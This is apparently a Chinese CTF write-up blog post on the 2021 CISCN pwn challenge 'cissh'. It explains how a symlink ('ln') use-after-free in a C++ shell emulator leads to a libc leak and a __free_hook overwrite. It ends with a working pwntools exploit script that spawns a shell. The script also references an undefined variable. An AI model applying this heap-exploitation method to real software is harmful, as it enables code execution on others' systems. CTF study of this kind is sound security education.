2021 ciscn day2 pwn cissh

这篇博客探讨了一段包含C++结构体、指针操作和复杂逻辑的代码,揭示了如何通过输入操作触发内存漏洞,特别是UAF(Use-After-Free)。作者展示了如何利用这个漏洞来执行任意命令,最终通过填充Tcache并篡改`__free_hook`来实现代码执行。博客中包含了详细的漏洞利用步骤和exploit代码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在这里插入图片描述
保护都健在。

在这里插入图片描述
庞大的C++以及复杂的结构体注定了这道题的思路就只能是连猜带蒙。

刚进来简简单单几行
在这里插入图片描述但是旁边的函数条告诉我事情并不是那么简单。

这几行里面首先是一个welcome,没啥说的。
然后看起来是定义了一个manager的结构体,然后下一行是通过结构体得到了一个__shared_ptr_access一个指针。

manager结构体里面也确实有一个那个名字的指针
在这里插入图片描述
指针再进去是一个函数,函数里面就又是一大堆乱七八糟。

在这里插入图片描述

你会发现有个函数多次出现

在这里插入图片描述然后再怎么样就不知道了,那我们回去看看下面的主逻辑程序。

在这里插入图片描述有个输出有个输入,然后再执行execute。

在这里插入图片描述然后就又是一堆。

逻辑分析的清清楚楚是万万做不到的,仅仅是大概发现
在这里插入图片描述
从输入里取了个啥然后跟traits取出来的比对,然后大概是执行的样子。

找到traits里面有啥。

在这里插入图片描述
有个函数表,那么我们就猜测就是执行类似于linux命令的代码而已。

程序中存在 ln 操作可以软链接一个文件,但是源文件删除后 ln 后的内容仍然存在,通过盲测触发了一个 double free 报错

这意味着文件“b”还在使用文件“a”的数据指针,存在 UAF

有了 UAF 之后就直接填满 Tcache 后利用 unsortedbin 泄露出 libc_base,再修改 tcache 的 next 指针为__free_hook,两次申请后得到__free_hook,劫持__free_hook就好啦。

exp

from pwn import *

context.log_level = "debug"

r = process("./cissh")

libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/libc.so.6")

def touch(name):
    r.sendlineafter("\x1B[31m$ \x1B[m", "touch " + name)

def vi(name, content):
    r.sendlineafter("\x1B[31m$ \x1B[m", "vi " + name)
    r.sendline(content)

def cat(name):
    r.sendlineafter("\x1B[31m$ \x1B[m", "cat " + name)

def ln(name1, name2):
    r.sendlineafter("\x1B[31m$ \x1B[m", "ln " + name1 + " " + name2)

def rm(name):
    r.sendlineafter("\x1B[31m$ \x1B[m", "rm " + name)

for i in range(8):
    name = 'a' + str(i)
    touch(name)
    vi(name, str(i) * 0x100)
    
ln('b', 'b')
ln('c', 'c')

for i in range(8):
    name = 'a' + str(i)
    rm(name)

cat('b')
malloc_hook = (u64(r.recvuntil('\x7f')[-6:].ljust(8, "\x00")) & 0xFFFFFFFFFFFFF000) + (libc.sym['__malloc_hook'] & 0xFFF)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
print "libc_base = " + hex(libc_base)

vi('c', p64(free_hook_addr))
touch('d')
vi('d', '/bin/sh\x00' * (0x100 // 8))
touch('e')
vi('e', p64(system_addr) * (0x100 // 8))
rm('d')
    
r.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值